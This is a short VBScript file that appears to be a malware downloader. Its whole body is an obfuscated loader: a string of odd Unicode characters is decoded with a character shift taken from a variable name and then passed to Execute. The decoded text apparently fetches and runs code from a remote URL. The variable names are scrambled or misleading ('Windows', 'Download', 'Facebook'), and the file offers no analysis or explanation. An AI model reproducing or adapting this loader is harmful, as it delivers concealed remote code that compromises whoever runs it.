dim NBVCXWPOIUYTREZAQSGFDHKJML
NBVCXWPOIUYTREZAQSGFDHKJML = "ࠊ࠽ࠪࠨ࠺࠹ࠪ߭ߧ࠸ࠪ࠹ߥࠆࠂࠈ࠷ࠪࠦ࠹ࠪࠔࠧ࠯ࠪࠨ࠹߭ߧߧࠒ࠘ࠝࠒࠑ߷߳ࠝࠒࠑࠍ࠙࠙ࠕߧߧ߮߿ࠆ߳ࠔ࠵ࠪ࠳ߥߧߧࠕࠔ࠘࠙ߧߧ߱ߧߧ࠭࠹࠹࠵࠸߿ߴߴ࠵ࠦ࠸࠹ࠪࠧ࠮࠳߳ࠨ࠴࠲ߴ࠷ࠦ࠼ߴࠟ࠹ࠦ߼߹࠭ࠆ࠾ߧߧ߱ࠫࠦ࠱࠸ࠪ߿ࠆ߳࠸ࠪ࠳ࠩ߿ࠊ࠽ࠪࠨ࠺࠹ࠪ߭ࠆ߳࠷ࠪ࠸࠵࠴࠳࠸ࠪ࠹ࠪ࠽࠹߮ߧ߮ߒߏߒߏߒߏ߬ߥ࠘ࠞࠗࠎࠆߥࠍࠆࠈࠐࠊࠗ"
Windows = ""
Dim Acc
Acc = 0
dim Download
Download = 0
dim Run
dim WXCVBNLMPIYHFSETAQRUIOUTBN
Run = "NBVCXWPOIUYTREZAQSGFDHKJML"
Facebook = 0
do until Download = len(Run)
Download = Download + 1
WXCVBNLMPIYHFSETAQRUIOUTBN = WXCVBNLMPIYHFSETAQRUIOUTBN + AscW(mid(Run,Download,1))

loop
do until Acc= Len(NBVCXWPOIUYTREZAQSGFDHKJML)
Acc= Acc + 1
Windows = Windows & ChrW(AscW(Mid(NBVCXWPOIUYTREZAQSGFDHKJML, Acc, 1)) - WXCVBNLMPIYHFSETAQRUIOUTBN + len(Run))
loop
Execute Windows